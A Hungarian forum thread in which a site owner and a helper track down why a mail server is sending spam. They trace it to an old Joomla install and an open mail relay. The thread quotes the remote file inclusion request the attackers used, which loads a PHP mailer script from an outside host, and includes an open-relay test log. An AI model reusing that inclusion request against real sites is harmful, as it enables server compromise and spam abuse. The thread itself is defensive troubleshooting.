E-mail küldés

[Kefe]

Megnéztem a hxxp://dark-solace.com/blog.txt címen lévő scriptet, hogy mit csinál (simán megnyithatod, ez csak egy txt fájl) és valóban ez egy email küldő progi: "PHP-Mailer by MICARI" Maga a script semmi mást nem csinál, csak email-eket lehet küldeni vele. Azt viszont sokat, távvezérléssel.
Rosszul beállított (magára hagyott) Joomla konfig tette lehetővé ezt az SQL injection támadást.

Továbbra is állítom, hogy azért tudott működni ez az email küldő script, mert a mail szerver open relay-ként működött.
(A script sima php mail() függvényt használ.) Ma reggel is ellenőriztem, mostmár nem ez a helyzet, úgy látszik sikerült tagnap beállítani.

Az más kérdés, hogy ez a sebezhetőség alkalmas (volt) arra, hogy bármilyen php script lefuttatható legyen, pl. iframe tag befecskendezése a weboldalra és hasonlók.

Gyakorlatilag dupla sebezhetőség vezetett a kálváriádhoz: meghekkelt Joomla és open relay mail szerver

[g-easy]

Megvan!

Egy régi elfeledett (és átirányított) aldomainen fent marad joomla (régi verzió) volt a bibi..

ezzel csinálták:

/mambots/content/multithumb/multithumb.php?mosConfig_absolute_path=http://dark-solace.com/blog.txt??

[g-easy]

ki van javítva, új rendszer van megy.. és még így is küldik, hülyét kapok, komolyan.. szal nem a hibát találták meg, hanem csak valamelyik cms a rossz. ááá

[Kefe]

Először is megnézem, hogy mi a mail szerver neve:

http://www.robtex.com/dns/g-easy.hu.html

Rögtön látszik, hogy az MX rekod: mx 5 g-easy.hu 212.52.167.214

Tehát a mail szerver is g-easy.hu
Most indítok egy Open Relay tesztet itt és itt. Csak írd be a g-easy.hu-t.

Ezek pillanatok alatt megmutatják bárkinek, hogy ezt pl. lehet használni, mert a hatodik, hetedik próbálkozástól át-átengedi leveleket.

[g-easy]

Ha megkérlek, ezt részleteznéd? Csak mert most tesznek rá újat.. De nem az, aki ezt tette fel.. akkor elvileg nem lesz vele gond? Mi a hiba? Mit kellett volna módosítani? Hogy jöttél rá?

[Kefe]

Jól gondoltam:

[B]Mail relay testing[/B]
Connecting to g-easy.hu for relay test... 
<<< 220 server.g-easy.hu ESMTP 
>>> HELO antispam-ufrj.pads.ufrj.br 
<<< 250 server.g-easy.hu
...
>>> RSET
<<< 250 flushed
>>> MAIL FROM:<spamtest@g-easy.hu>
<<< 250 ok
>>> RCPT TO:<securitytest%abuse.net@g-easy.hu>
<<< 250 ok
Relay test result:
Hmmm, at first glance, host appeared to accept a message for relay.

Ez a mailserver nincs rendesen konfigurálva, emiatt tudták használni a spammerek (bárki, én is tudnám használni mail továbbításra).

Az első néhány próbálkozást még visszaveri, azután végülis átengedi az ismeretlen mailt.
Ez abszolute nem CMS gond a szerveren. És nem is kell hozzá feltörni egyetlen weblapot sem.
Ez egy sima mail szerver beállítási gond.

[g-easy]

ezt írtam én is.. csak vannak olyan domainek is rajta, amit más használ.. azért írtam, hogy ki.. "melyik domain alól" akar lenni.. utána lehet továbbmenni, hogy melyik cms lyukas. és azt lezúzni, frissíteni stb. az, hogy ki, mint személy.. az nem érdekel.. valamelyik köcsög spammer a világ másik oldaláról.. nem sokra mennék vele, ha tudnám, hogy Theodor Smith-nek hívják..

amit tudni: az info@g-easy.hu-n 36000+ visszapattanó mél van, az info@g-easy az alapértelmezett, így a szerveren lévő összes domain oda vágja vissza. fekete listán vagyok, saját levél már nem megy ki egyáltalán.. ennyi..

de most cserélik le a teljes mélszerverem, szal valszeg hamarosan megoldódik..

[Kefe]

Gizi, mennek a postok oda-vissza és még mindíg nem tudom, melyik az a domain, amin a mail szerver felelős az egész galibáért.

Szerintem rosszul látod a dolgot. NEM azt kell kideríteni, hogy KI spammel és azt letíltani. Hanem azt kell kideríteni, hogy HOGYAN spammel, MIÉRT tud spammelni és megszüntetni azt a rést a mail szerveren.

Valószinű, hogy Open Relay-ként működik a mail szerver, ezt használták ki.

Figyelj, ennél egyszerübben már nem tudom kérdezni: ha valaki megkapja a regisztrációs Emailt, az pontosan milyen domainről érkezik? Melyik domainnel van gond?

[g-easy]

De Kefe!


Itt nem a fórumról van szó.. az már be volt állítva.. minden be volt állítva.. hanem egyáltalán.. az, hogy belépek a mailemre és 36000 visszapattant levél van benne.. szal minden működött és most ez miatt leállt. nem kell már állítani semmit.. azt kell megtudni, ki (honnét) spammel, amiért már 3 blacklisten is fent vagyok és nem küldhetek mélt.
meg bárki regisztrál bármelyik oldalamra, nem kap regisztrációs mélt.. konkrétan a prgizire gondolok..

[Kefe]

Szerintem ne csinálj belőle rakéta tudományt, állítsd be pontosan azt, ami a hitelek.fórum.hu -nál lett beállítva.

[g-easy]

Nem használok sehol SMTP-t, nincs semmi beállítva.. mail()-el mennek ki a levelek.

[Kefe]

Gizi, ne szórakozz velem, A vBulletin beállítások / Email options rész alsó részében találod az SMTP szervert.
Mi van beállítva? (Egyébként tényleg nem jött meg az email a Recept Fórum regisztrációról.)

[g-easy]

hopsz.. az se nálam van, csak rosszul tudtam..

csak a recept fórum, illetve a g-easy (már yox) oldalak vannak a szerveren..

[Kefe]

Hova regeltél?
...
A hitel fórumra, vagy a recept fórumra regisztrálj, azok a az én szerveremen vannak. Esetleg a pr gizire.. :S vagy az apróhirdetőimre..
...

hitelek.forum.hu --- ide regeltem, nem erről van szó?

[g-easy]

Hova regeltél?

Csak mert a w3host, meg a server.g-easy.hu két külön téma. A w3hostnál is vannak oldalaim, de ahhoz semmi közöm..

A hitel fórumra, vagy a recept fórumra regisztrálj, azok a az én szerveremen vannak. Esetleg a pr gizire.. :S vagy az apróhirdetőimre..

az mind a saját szerveren van.. és döglik.. még most is pattognak vissza a mélek